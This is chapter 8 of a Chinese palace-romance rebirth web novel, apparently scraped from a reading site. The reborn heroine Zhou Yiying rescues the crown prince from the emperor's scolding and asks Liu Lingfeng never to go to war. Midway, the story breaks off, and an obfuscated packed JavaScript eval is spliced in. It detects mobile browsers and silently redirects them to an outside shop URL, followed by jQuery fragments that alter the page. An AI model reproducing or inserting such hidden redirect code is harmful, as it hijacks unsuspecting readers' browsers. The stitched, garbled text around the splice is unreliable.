8. 第八章(已修)
    凤仪宫离东宫有一大段距离,周意映的轿子留在了金龙殿外面,这下子只顶着毒辣的太阳徒步过去,楚楚怕太阳灼伤她特意去借了把伞替她遮挡。

    路上还碰上了个熟人,周意映见到柳凛风是有些惊讶的,两人在此之前都没在宫中碰到过。看着七月怀中的书籍,她终于从仅剩的记忆中翻出柳凛风是太子伴读这件事。

    周意映其实没怎么关注过,她半年未进宫了,周容钰也鲜少提起学堂之事,大概也是因为她的讨厌溢于言表。

    “郡主万安。”

    见到周意映,柳凛风主动行礼问好,按理说他也是城南世子,与她平级,不需要朝她行礼。

    他仍然拖着他那病怏怏的身体,声音都有些虚弱,白色的长袍显得他身形消瘦,阳光照在他脸颊上白里透红,像个宝贵的瓷器,多亏有副好皮囊,引得不少人心疼。

    她说不上什么滋味,前世她们的关系说兄妹好像有些亲密了,可到底也一起生活了几年,在不知不觉中她好像有点依赖柳凛风,习惯是一件可怕的事情,明明想好了要与他桥归桥路归路,她嘴上说的轻松,可真做起来却有些困难。

    每叫一声“柳凛风”她就忍不住想到已经是景南王的他,她暗自懊恼却不知如何改变,见那人在烈日下有些摇摇欲坠,便开口:“楚楚,把伞给他。”

    周意映不想见到那副病弱不堪的样子,这让她想到了上辈子的自己,但她不能冲柳凛风发火,只好委屈自己了。

    七月惊奇地看着两人远去的背影,怀中的伞都有些烫手,“公子,郡主最近变了好多,都不……”

    “七月,隔墙有耳。”柳凛风打断他接下来的,看着那精巧的纸伞,眼中晦暗不明,“太子殿下还等着我们呢,走吧。”

    “这是你写的?胡闹!这种东西你也敢呈上来?”

    太宣帝的蕴含怒气的声音周意映大老远就听见了,进去时众人大气都不敢喘一下,瞧见她的周容钰发出眼神请求。

    她接收后主动迎了上去,赖着太宣帝又是一番嘘寒问暖,成功解救了被骂的狗血淋头的可怜太子。

    柳凛风来的比她慢上不少,她早已坐在太宣帝旁边哄着他高兴,太子周容钰站在旁边,一脸怨气,不像一国储君倒像个争宠不过的小孩子。

    “参见陛下,参见……”

    “景绪不必多礼,到朕这边来。”太宣帝看样子心情甚好,笑着制止柳凛风的动作,示意他过来。

    景绪是他的字,是城南王柳宴取的,熟悉柳凛风的人都会唤他景绪兄,不熟悉的喊一句柳世子,只有周意映一人,连名带姓只叫他柳凛风。

    “景绪的文章可比钰儿写的好多了,你多跟人家学学。”

    书桌上的卷轴是上个月老师布置的,由于这月便要检查,柳凛风便留在这里了,这会儿刚好被太宣帝瞧见,便成了鞭策太子的理由。

    一旁的周容钰面上倒没什么变化,感受到太宣帝的目光时,端是一副波澜不惊的样子,看了眼卷轴,认同地点了点头,“是。”

    但柳凛风已然下跪,整个人连下跪都挑不出一丝差错,好似谦虚道:“臣哪里比得上殿下,殿下文采斐然,是臣的榜样。”

    虽是这样说,但太宣帝的视线落到他身上就没移开,眼底是众人捉摸不透的情绪。现场一时沉默,一旁跪下的七月都快紧张死了,那手在暗中捏得死死的。

    见太宣帝略微打量地看着柳凛风,周意映暗垂下头,一缕青丝晃到眼前,便仰着头故作不满地重重的哼了一声,大家的视线便到了她身上。

    那白皙娇嫩的脸上满是不服气,见都看向自己,不满地嘟囔着:“他哪里比得上钰兄长,我可是听说了,秦大人家的女郎看过钰兄长写的诗,就非君不嫁呢,舅舅你想想,秦大人多么有才华,他女儿这样了,可见还是钰兄长更胜一筹。”

    见周意映提起这件事太宣帝也顺着目光朝周容钰看过去,眼神也有些赞许,“那丫头也不错,只不过你钰兄长不喜欢,朕也不强求。”

    周容钰尴尬地上扬嘴角,他最讨厌别人提起秦家女郎了,但这人是自己小表妹,也不能生气,只得一记眼刀朝飞过去,她挑眉吐了下舌头,晃着脑袋不去看他。

    “说起来,意映也不小了吧,有没有意中人啊?”太宣帝也不过顺势打趣,可周意映却一愣。

    前世她的父亲也曾问过,“意映可有喜欢的的人了?”

    两句话在她脑海重合,她想到了那个身受重伤的男子,又记起那年的初见,她有些分不清真假,暗自捏了捏手心。

    她低垂下头,想扯出抹难看的笑容,但实在笑不出来,话也说得很是艰难,“我还想陪爹爹几年呢。”

    幸亏太宣帝与周容钰没瞧见,顾着其他并没有看见,不然又是一番询问。

    这副难看的样子唯有跪着的柳凛风察觉一二,面上不显但已思考良久。

    “好了,朕还有事,你们两个聊吧,不是好久没见了嘛。”太宣帝见时间不早了,也准备起身回去。

    周容钰连忙相送,但暗藏的愉悦显然易见。

    周意映见机撇嘴,皱着眉头,低垂着眼帘,一副伤心的样子,可怜巴巴地控诉:“钰兄长的样子分明是不想我来,嫉妒我分走你们的宠爱,可怜我还特意带来好吃的给他。”

    周容钰大惊:“你这小妮子就知道污蔑我。”

    反手就将她脑袋敲了一下,对太宣帝道:“父皇你可不能信她鬼话。”

    太宣帝瞧着他们玩闹,摆了摆手笑着离开了。

    “给我带了什么好东西啊。”周容钰见他离开松了一口气,将放了很久的食盒打开,看到的第一眼就收起来笑容。

    周意映很满意他的表情,一双眼睛弯弯的,明知故问地询问:“喜欢吗?”

    “吃了几年了你说呢?”她的问题让周容钰撇了撇嘴,“你怎么不带点外面的给我,就比如醉仙楼的烤鸡。”

    周意映不再理他,将一块桃花酥塞到嘴里,悠闲地靠在椅子上,余光瞥见还在跪下的柳凛风,心中一沉,“哥,我找柳凛风有些事,你慢慢吃。”

    周容钰点了点头,随意吃着糕点看着文章。柳凛风神色如常,袖袍下手指微动,被周意映一把拉走,七月还想跟着被楚楚拦住。

    殿外有一片池塘,是年前刚修建的,养着周容钰最爱的孔雀鱼,他从前不爱养毛鳞之物,现在却改了性子。

    池塘旁长着一颗柳树,柳凛风立在她身旁,身姿卓越,忽略他那副病弱的身子骨,这般姿态倒像个合格的护卫。

    他以前不是这样的,小时候他身体其实挺健康的,只是娘亲去世后,他便逐渐病弱了,有些东西周意映并不想懂,若她懂了,那她算是帮凶。

    周意映落下了的视线有些长久,他苍白的脸色终于有了变化,清俊的面庞也带着些许困惑。

    “郡主找我,是有何事?”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182320|150655||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    他声音有些沙哑带着些许磁性,柳凛风常年咳嗽,嗓子没坏也算幸运。

    周意映见他终于忍不住微微挑眉,语气中带着些许雀跃,“没事就不能找你吗?”

    水中鱼儿自由自在,绚丽多彩的鱼尾引得她目不转睛。

    “郡主莫要开玩笑了。”

    听到这个,周意映有些不满地转过头,“那是我看得起你,刚才你跪了半天了,本来就病怏怏的,万一又病了怎么办,我这可是在帮你。”

    柳凛风不由失笑,“郡主,我不是瓷器,没那么容易生病。”

    周意映撇撇嘴,对他不看重自己身体恨铁不成钢,“我就一说,万一你出意外了,我爹又要大惊小怪了。”

    城南王对柳凛风就像亲生儿子,甚是关心。

    听到此柳凛风藏住眼里的暗色,一双桃花眼有几分多情,“不及郡主。”

    想到什么,又言:“郡主最近对我的态度好像不同了。”

    对上他的眼睛周意映没有半分不好意思,甚至一脸怪异,好像柳凛风的问题很奇怪,“我不找你麻烦了,你不习惯?”

    清俊少年眨了眨眼睛,还有些意料之外的促狭,看向池塘里的小鱼,“郡主那些行为谈不上麻烦。”

    这让她不由想起,已经身为景南王的他说的那些把她当妹妹的话,柳凛风与常人真的不同,受了苛待与谩骂却还把她当家人,这么会有人这么善良,还是说他藏的太深了。

    她下意识碰了碰手腕的佛珠,嗓音低沉,明亮的眸子有些黯淡,“因为我想明白了啊,你是我爹的义子,又是舅舅亲封的城南世子,我再找你麻烦不就让人看王府笑话吗?”

    大概说的有些委屈,柳凛风听着皱了皱眉,看起来十分正经,“郡主可以按照自己的想法来,凛风毫无怨言。”

    她只是轻笑一声,“柳凛风,换个地方住吧。”

    那个望月阁只是名字好听,四四方方小的可怜,冬冷夏热的,亏他毫无怨言。

    “郡主是要我搬离王府吗?”

    柳凛风脸色有些古怪,但不算惊讶。

    “我的意思是搬回兰陵院。”

    见他误会,周意映解释道,头上的步摇随着她摆头的动作一晃一晃,刹是好看。

    兰陵院是城南王之前为他准备的地方,因为她的闹腾,柳凛风没住多久就搬到这狭小的望月阁。

    可柳凛风却摇头婉拒,“不用郡主多费心了。”

    不咸不淡的拒绝让周意映有些沮丧,又问起他另一个问题:“你喜欢上战场吗?”

    显然这个问题对柳凛风来说有些唐突,他有些懵,随即不由失笑,瞧着周围的秀丽景色,言语间带着些许雀跃,“我钟情山水,自然不会想要上战场。”

    周意映听到他回答有些高兴又有些难过,刚上扬的嘴角终是落了下来,他那样的安稳人生终究是被她毁了。

    于是她向前几步,这个距离对她来说有些危险,几乎是整个人贴近了柳凛风,满眼认真,就这样死死盯着他,一字一句同他说:“好,那你这辈子都不许上战场。”

    柳凛风有些不明所以,眼神略微疑惑,他不明白周意映为何要这样说,却没再问下去,甚至没有后退:“这是郡主的命令?”

    “是……请求。”

    她停顿片刻,以为自己说不出来,可她说出来了,她在请求他,请求他逃开那个不幸的结局,他一点都不欠鲁国。